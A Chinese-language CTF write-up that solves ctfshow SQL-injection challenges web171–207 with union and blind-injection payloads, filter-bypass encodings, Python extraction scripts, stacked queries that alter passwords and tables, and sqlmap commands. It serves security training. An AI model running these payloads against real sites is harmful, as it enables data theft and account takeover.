【ctfshow】web篇-SQL注入 wp

前言

记录web的题目wp,慢慢变强,铸剑。

SQL注入

web171

  • 根据语句可以看到有flag没有被显示出来,让我们拼接语句来绕过
1
2
//拼接sql语句查找指定ID用户
$sql = "select username,password from user where username !='flag' and id = '".$_GET['id']."' limit 1;";
  • GET传参会自己解码,注释可以用%23(#), –空格,–+等,或者拼接语句不用注释也行

image-20210727052118542

  • 判断有3个字段
1
1' order by 3--+

image-20210727052202385

  • 联合查询,查表
1
1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

image-20210727052424376

  • 查字段
1
1' union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user'--+

image-20210727052509428

  • 查flag
1
1' union select 1,2,password from ctfshow_user --+

image-20210727052648926

web172

1
2
3
4
//检查结果是否有flag
if($row->username!=='flag'){
$ret['msg']='查询成功';
}
  • 多了层过滤,没有检测到username有flag结果才能查询成功,不查询username,就用password,和上题没区别
1
1' union select 1,password from ctfshow_user2--+

web173

  • 和上题一样
1
1' union select 1,2,password from ctfshow_user3--+

web174

1
2
3
4
//检查结果是否有flag
if(!preg_match('/flag|[0-9]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
  • 过滤了数字,考察replace的运用,先判断有几个字段
1
1' order by 2 %23

image-20210727091147187

  • 联合函数添加a和b两个数据ok

image-20210727091245501

  • 先构造一个replace将0-9全部置换
1
select replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(1234567890,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ');

image-20210727091509981

  • 查表构造语句将1-0换成table_name
1
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(table_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.tables where table_schema=database() %23

image-20210727091702800

  • 查字段名
1
1' union all select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(group_concat(column_name),1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from information_schema.columns where table_schema=database() and table_name='ctfshow_user4' %23

image-20210727091826089

  • 查结果
1
1' union select 'a',replace(replace(replace(replace(replace(replace(replace(replace(replace(replace(password,1,'numA'),2,'numB'),3,'numC'),4,'numD'),5,'numE'),6,'numF'),7,'numG'),8,'numH'),9,'numI'),'0','numJ') from ctfshow_user4--+

image-20210727091848759

  • 写个小py来转换一下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
import requests



flagstr = 'ctfshow{numHnumEbnumCnumFenumJd-anumEnumHnumF-numDfbnumC-adnumBnumJ-enumAnumAnumBenumDnumFnumDnumGnumHnumAnumH}'

flag=''
flag = flag + flagstr.replace('numA','1').\
replace('numB','2')\
.replace('numC','3')\
.replace('numD','4')\
.replace('numE','5')\
.replace('numF','6')\
.replace('numG','7')\
.replace('numH','8')\
.replace('numI','9')\
.replace('numJ','0')



print(flag)

image-20210727091931245

web175

1
2
3
4
//检查结果是否有flag
if(!preg_match('/[\x00-\x7f]/i', json_encode($ret))){
$ret['msg']='查询成功';
}
  • 将ascii所有字符都禁了,无回显就用盲注,写个py脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import time
url = "http://bab11107-9d31-46bf-b41e-0a04bb92b155.challenge.ctf.show:8080/api/v5.php"
dict = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag =""
for i in range(1,50):
for j in dict:
payload= f"?id=1' and if(substr((select password from ctfshow_user5 where username=\"flag\"),{i},1)=\"{j}\",sleep(3),0)--+"
res_get = url + payload
start = time.time()
res = requests.get(url=res_get)
end = time.time()
if end-start > 3:
flag = flag + j
print(flag)
break

image-20210730095850795

web176

  • 发现是对select的过滤,但是没有过滤大小写
1
1' union all Select 1,2,(Select table_name from information_schema.tables where table_schema=database()) --+
  • 字段
1
1' union all Select 1,2,(Select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_user') --+
  • 查flag
1
1' union all Select 1,2,(Select password from ctfshow_user where username='flag') --+
  • 第二种方法简单——利用or的后面条件一直为真,可以显示所有数据
  • 查所有数据
1
1' or 1=1--+

image-20210730101403056

web177

  • 第一种方法判断过滤了空格,但是依旧可以用or通杀显示所有数据

查flag

1
1'or(1=1)%23
  • 第二种方法,这次发现还多过滤了空格,我们可以用%0a换行符或者注释符绕过(或者%09,%0b,%0c,%0d都可以),这次我们用万能密码吧,用上面的也可以,不过绕过空格后有点长,后面的注释我们用#的url编码形式%23

查flag

1
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web178

  • 和上题差不多,多办了/**/这个注释符号,也可以万能密码1'%09or%091=1%23
1
1'%09union%09select%091,2,(select%09password%09from%09ctfshow_user%09where%09username='flag')%23

web179

  • 和上题差不多,过滤了%09,%0b,%0d和空格也可以用万能密码1'%0cor%0c1=1%23
1
1'%0cunion%0cselect%0c1,2,(select%0cpassword%0cfrom%0cctfshow_user%0cwhere%0cusername='flag')%23

web180

  • 这题%23也过滤了,绕过空格的基本都过滤了,我们想着拼凑语句

payload

1
1.1'or(id='26')and'1=1

这个拼接之后的语句就是

1
select id,username,password from ctfshow_user where username !='flag' and id = '1.1'or(id='26')and'1=1’ limit 1;
1
2
3
4
id='1.1'or(id=26)and'1=1' limit 1;
也就是
(id='1.1') or ((id=26) and '1=1') limit 1;
前面因为1.1不存在为0,后面为1,所以整个条件为1

web181

  • 和上题一样
1
1.1'or(id=26)and'a'='a

web182

  • 和上题一样
1
1.1'or(id=26)and'a'='a

web183

1
2
//拼接sql语句查找指定ID用户
$sql = "select count(pass) from ".$_POST['tableName'].";";
  • 提示说拼接sql语句找到指定id,因为前几天他的表都是ctfshow_user,我们可以尝试一下这个表,然后用like和%进行模糊匹配
  • post传参

image-20210730124155127

  • 这里明显有布尔盲注,来进行猜解flag,写一个py脚本
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests

url = "http://e9202b55-424f-460d-8597-692168ba560f.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
print('[*] 开始盲注第{}位'.format(i))
for j in str:
data = {
"tableName":"(ctfshow_user)where(pass)like'{0}%'".format(flag+j)
}
res = requests.post(url,data)
if res.text.find("$user_count = 1")>0:
flag += j
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210730132558687

web184

  • 这把过滤了where,我们用右连接来做
1
ctfshow% 的十六进制 为 0x63746673686F7725
  • 所以用他来匹配like,放出了空格
1
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725
  • 写个py来跑flag
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30 21:24
# blog: gylq.gitee.io
import requests
import binascii

def to_hex(s):
#转十六进制
str_16 = binascii.b2a_hex(s.encode('utf-8'))
res = bytes.decode(str_16)
return res

url = "http://d42dba7c-384e-4a5d-9a5d-26398d42ce7c.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"
flag = "ctfshow"
for i in range(0,666):
print('[*] 开始盲注第{}位'.format(i))
for j in str:
result = "0x" + to_hex(flag + j + "%")
data = {
"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like {0}".format(result)
}
res = requests.post(url,data)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

# tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like 0x63746673686F7725

image-20210730140931041

web185

  • 这次直接过滤了0-9的所有数字,上个脚本进行改变

这次我们利用true来进行替换数字

1
2
3
select true+true;
结果是2
所以我们构造数字c来进行like匹配

我们还是用like模糊匹配,然后利用concat连接true形成的字符和数字

image-20210730151426812

1
tableName=ctfshow_user as a right join ctfshow_user as b on b.pass like concat(char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true),char(true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true+true))

image-20210730151523656

页面可以正常回显,代码跑起py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
import binascii

def createNum(n):
num='true'
if n==1:
return "true"
else:
for i in range(n-1):
num+="+true"
return num

#把每一个字符转换成ascii码对应的数值
def change_str(s):
str=""
str+="char("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",char("+createNum(ord(i))+")"
return str


url = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

flag = "ctfshow"
for i in range(0,666):
print('[*] 开始盲注第{}位'.format(i))
for j in str:
result = change_str(flag + j + "%")
data = {
"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)
}
res = requests.post(url,data)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210730153336499

web186

  • 和上一题一样
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
import binascii

def createNum(n):
num='true'
if n==1:
return "true"
else:
for i in range(n-1):
num+="+true"
return num

#把每一个字符转换成ascii码对应的数值
def change_str(s):
str=""
str+="char("+createNum(ord(s[0]))+")"
for i in s[1:]:
str+=",char("+createNum(ord(i))+")"
return str


url = "http://e0482185-09dd-40c6-854f-6df23ac4c58b.challenge.ctf.show:8080/select-waf.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz{}-"

flag = "ctfshow"
for i in range(0,666):
print('[*] 开始盲注第{}位'.format(i))
for j in str:
result = change_str(flag + j + "%")
data = {
"tableName":"ctfshow_user as a right join ctfshow_user as b on b.pass like (concat({}))".format(result)
}
res = requests.post(url,data)
if "$user_count = 43" in res.text:
flag += j
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210730154141902

web187

1
2
3
4
5
6
7
8
$username = $_POST['username'];
$password = md5($_POST['password'],true);

//只有admin可以获得flag
if($username!='admin'){
$ret['msg']='用户名不存在';
die(json_encode($ret));
}
  • 登陆窗口,看返回逻辑

很明显注入点是md5()函数这里,后面用了参数true,返回的是一个16位二进制

image-20210730155322904

网上有一个字符串ffifdyop很特殊

1
2
3
4
5
echo md5("ffifdyop",true);
//结果
'or'6�]��!r,��b
刚好成万能密码
password=''or true

image-20210730155234977

web188

1
2
3
4
5
6
7
 $sql = "select pass from ctfshow_user where username = {$username}";

//密码判断
if($row['pass']==intval($password)){
$ret['msg']='登陆成功';
array_push($ret['data'], array('flag'=>$flag));
}

可以看到是通过username来列出密码,然后弱比较来进行判断payload

1
username=0&password=0

以这道题的数据库为例,这个数据库中的用户名都是以字母开头的数据,而以字母开头的数据在和数字比较时,会被强制转换为0,因此就会相等,后面的pass也是一样的道理
但注意,如果有某个数据不是以字母开头,是匹配不成功的,这种情况怎么办,我们可以用||运算符

1
username=1||1&password=0

web189

因为确定一定包含ctfshow这个内容,所以通过load_file的返回值“\u67e5\u8be2\u5931\u8d25”判断是否存在,写个payload

LOAD_FILE(file_name): 读取文件并返回文件内容为字符串。要使用此函数,文件必须位于服务器主机上,必须指定完整路径的文件,而且必须有FILE权限。

regexp: mysql中的正则表达式操作符

容易想到默认路径是/var/www/html/api/index.php,开始写个脚本进行盲注

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/4/8 21:24
# blog: gylq.gitee.io
import requests
url = "http://e89f25b2-8acb-4c79-8368-56f445f77e6c.challenge.ctf.show:8080/api/index.php"
str = "0123456789abcdefghijklmnopqrstuvwxyz-{}"
flag = "ctfshow{"
payload="if(load_file('/var/www/html/api/index.php')regexp('{0}'),1,0)"

for i in range(666):
print('[*] 开始盲注第{}位'.format(i))
for j in str:
data={
"username":payload.format(flag + j),
"password":0
}
res = requests.post(url,data)
if r"\u67e5\u8be2\u5931\u8d25" in res.text:
flag += j
print(flag)
break
if j=='}':
print('[*] flag is {}'.format(flag))
exit()

image-20210730180926218

web190

经典盲注,脚本跑

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(i,j),
"password":123456
}
res = requests.post(url,data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag += j
n+=1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210730190843467

web191

  • 和上题一样,过滤了ascii等,不过我写的payload没用
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://17f404c9-b645-40ab-8daf-f60c335e2d84.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(i,j),
"password":123456
}
res = requests.post(url,data)
if r"\u5bc6\u7801\u9519\u8bef" in res.text:
flag += j
n+=1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210730191215328

web192

  • 和上题一样,没办=号,我们依旧潇洒
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://8ab877db-cd5c-424f-bb9c-0f54ba6447c7.challenge.ctf.show:8080/api/"
str = "01234567890-=!@#$%^&*()_+`~ qwertyuiopasdfghjklzxcvbnm[];,./{}:<>?\|"
flag = ""
#查表 payload="admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1)='{}',1,0)#"
#查字段 payload="admin' and if(substr((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_fl0g'),{},1)='{}',1,0)#"
payload="admin' and if(substr((select f1ag from ctfshow_fl0g),{},1)='{}',1,0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(i,j),
"password":123456
}
res = requests.post(url,data)
if "密码错误" in res.json()['msg']:
flag += j
n+=1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

web193

  • 过滤了substr但是没有过滤正则啊,用正则^来匹配第一个
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://131ffba2-a367-4469-8421-e4c0d9877e37.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#"
#查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#"
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(flag+j),
"password":123456
}
res = requests.post(url,data)
if "密码错误" in res.json()['msg']:
flag += j
n+=1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210730210312414

web194

  • 正则依旧没有被办,只是办了个右连接等,继续上个脚本梭哈
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://8f2766ad-af45-441e-b247-7a526b3d150f.challenge.ctf.show:8080/api/"
str = "01234567890qwertyuiopasdfghjklzxcvbnm{}-()_,,"
flag = ""
#查表payload="admin' and if((select group_concat(table_name) from information_schema.tables where table_schema=database())regexp('^{}'), 1, 0)#"
#查字段payload="admin' and if((select group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='ctfshow_flxg')regexp('^{}'), 1, 0)#"
payload="admin' and if((select group_concat(f1ag) from ctfshow_flxg)regexp('^{}'), 1, 0)#"
n=0
# admin' and if(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,1)='c',1,0)#
for i in range(0,666):
for j in str:
data = {
"username":payload.format(flag+j),
"password":123456
}
res = requests.post(url,data)
if "密码错误" in res.json()['msg']:
flag += j
n+=1
print('[*] 开始盲注第{}位'.format(n))
print(flag)
if j=="}":
print('[*] flag is {}'.format(flag))
exit()
break

image-20210730210650528

web195

1
2
3
4
5
6
7
8
9
   //拼接sql语句查找指定ID用户
$sql = "select pass from ctfshow_user where username = {$username};";


//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}
  • 过滤了空格,用反引号来代替,因为提示堆叠注入,我们考虑用update更新密码,因为sql语句中没有单引号包含,无法成功执行,所以得将admin转十六进制进行执行

payload

1
0x61646d696e;update`ctfshow_user`set`pass`=123456

接着用0x61646d696e,123456登陆就行

image-20210730211627435

web196

1
2
3
4
5
6
7
8
9
10
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if(preg_match('/ |\*|\x09|\x0a|\x0b|\x0c|\x0d|\xa0|\x00|\#|\x23|\'|\"|select|union|or|and|\x26|\x7c|file|into/i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if(strlen($username)>16){
$ret['msg']='用户名不能超过16个字符';
die(json_encode($ret));
}

多限制了用户名的长度,这里注意正则里ban的是se1ect,二不是select,所以select可以继续使用

  • payload
1
2
username:1;select(1)
password:1

image-20210730212125349

web197

1
2
3
4
5
6
7
8
9
//TODO:感觉少了个啥,奇怪,不会又双叒叕被一血了吧
if('/\*|\#|\-|\x23|\'|\"|union|or|and|\x26|\x7c|file|into|select|update|set//i', $username)){
$ret['msg']='用户名非法';
die(json_encode($ret));
}

if($row[0]==$password){
$ret['msg']="登陆成功 flag is $flag";
}

这里在195的基础上ban了update和set等,不过这里没有ban掉show,我们可以在username把表全部查询出来,在password里传入表名,相等即可符合判断条件爆出flag

1
2
username:520;show tables
password:ctfshow_user

web198

  • 上题方法依旧可以做,我们换种思路,这里没有ban掉alter,我们可以把密码和id两列进行一个互换,这样一来判断flag的条件变成对id的检测,而id都是纯数字,我们可以去进行爆破到正确的id,从而获得flag,脚本如下
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
#-- coding:UTF-8 --
# Author:孤桜懶契
# Date:2021/7/30
# blog: gylq.gitee.io
import requests
url = "http://86f793a3-65c1-4974-8b76-8276d42d488c.challenge.ctf.show:8080/api/"
payload = '0x61646d696e;alter table ctfshow_user change column `pass` `gylq` varchar(255);alter table ctfshow_user change column `id` `pass` varchar(255);alter table ctfshow_user change column `gylq` `id` varchar(255);'
data1 = {
'username': payload,
'password': '1'
}
res = requests.post(url,data1)

for i in range(99):
data2 = {
'username': "0x61646d696e",
'password': '{}'.format(i)
}
res2 = requests.post(url,data2)
if "flag" in res2.json()['msg']:
print(res2.json()['msg'])
break

web199

  • 不变197做法

image-20210730221610705

web200

和上题一样

image-20210730221717415

web201

  • 提示referer标头,查了下资料,默认情况不会对referer发起http请求,但是这题不发就得不到数据,所以可以自行设置referer或者直接level 3

image-20210730231149582

payload

1
sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" --dbs

或者 level 3

1
sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --level 3 --dbs

查表

1
python3 sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web --tables

查字段

1
sqlmap.py -u "http://920f2767-9c9c-4d91-9b71-087536fabffe.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user --columns

查flag

1
sqlmap.py -u "http://eb8102e6-5c61-4b70-8a29-24de83d6b0b2.challenge.ctf.show:8080/api/?id=1" --threads=10 --batch --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where "pass like '%ctfshow%'"

image-20210730232141620

web202

  • 就是用–data指定post传参

payload

1
sqlmap.py -u "http://c339fde0-4900-495d-bcf0-7872c3937afa.challenge.ctf.show:8080/api/" --data="id=1" --threads=10 --batch  --referer="ctf.show" -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"

web203

  • 将method改成put,并且注意更改content-type为text/plain,否则会被提交成表单
1
sqlmap.py -u "http://fa1b6901-9336-417b-9abf-3b0d199ed673.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"

web204

  • 提示传递cookie,抓包拿
1
sqlmap.py -u "http://74013a20-89e2-4675-a59b-40916d4e4712.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 -D ctfshow_web -T ctfshow_user -C pass --dump --where="pass like '%ctf%'"  -v 5  --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6"

web205

  • 要api鉴权我们抓包可以发现他是先/api/getToken.php,然后再访问/api/index.php,根据浏览器里面select.js文件代码分析也可以发现

image-20210731085139350

sqlmap中提供以下两个参数保证每次都能访问一次一次getToken.php来获取token

1
2
--safe-url 提供一个安全不错误的连接,每隔一段时间都会去访问一下
--safe-freq 提供一个安全不错误的连接,设置每次注入测试前访问安全链接的次数

payload

1
sqlmap.py -u "http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://a99900ec-4bec-4ef1-b046-2a62a2f8fc22.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1 -D ctfshow_web -T ctfshow_flax -C flagx --where="flagx like 'ctf%'" --dump

web206

  • 和上题一样做法,就是换了字段名
1
sqlmap.py -u "http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/index.php" --referer="ctf.show" --batch --method="PUT" --data="id=1" --headers="Content-Type: text/plain" --threads=10 --cookie="PHPSESSID=hnfvub4a2sfnmofk3g7r28vc39; ctfshow=72a5a5bfd041b4dc7fac9cfa9f868db6" --safe-url="http://d531f359-f004-4421-b15c-7c0fd7ec6b24.challenge.ctf.show:8080/api/getToken.php" --safe-freq=1  -D ctfshow_web -T  ctfshow_flaxc -C flagv --dump

web207

  • tamper的初体验,看到过滤了空格

遇到这种情况怎么办?sqlmap提供了tamper脚本用于应对此种情况,tamper的出现是为了引入用户自定义的脚本来修改payload以达到绕过waf的目的。sqlmap自带的tamper脚本文件都在sqlmap的tamper文件夹下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
举例如下tamper脚本:

apostrophemask.py 用utf8代替引号

equaltolike.py MSSQL * SQLite中like 代替等号

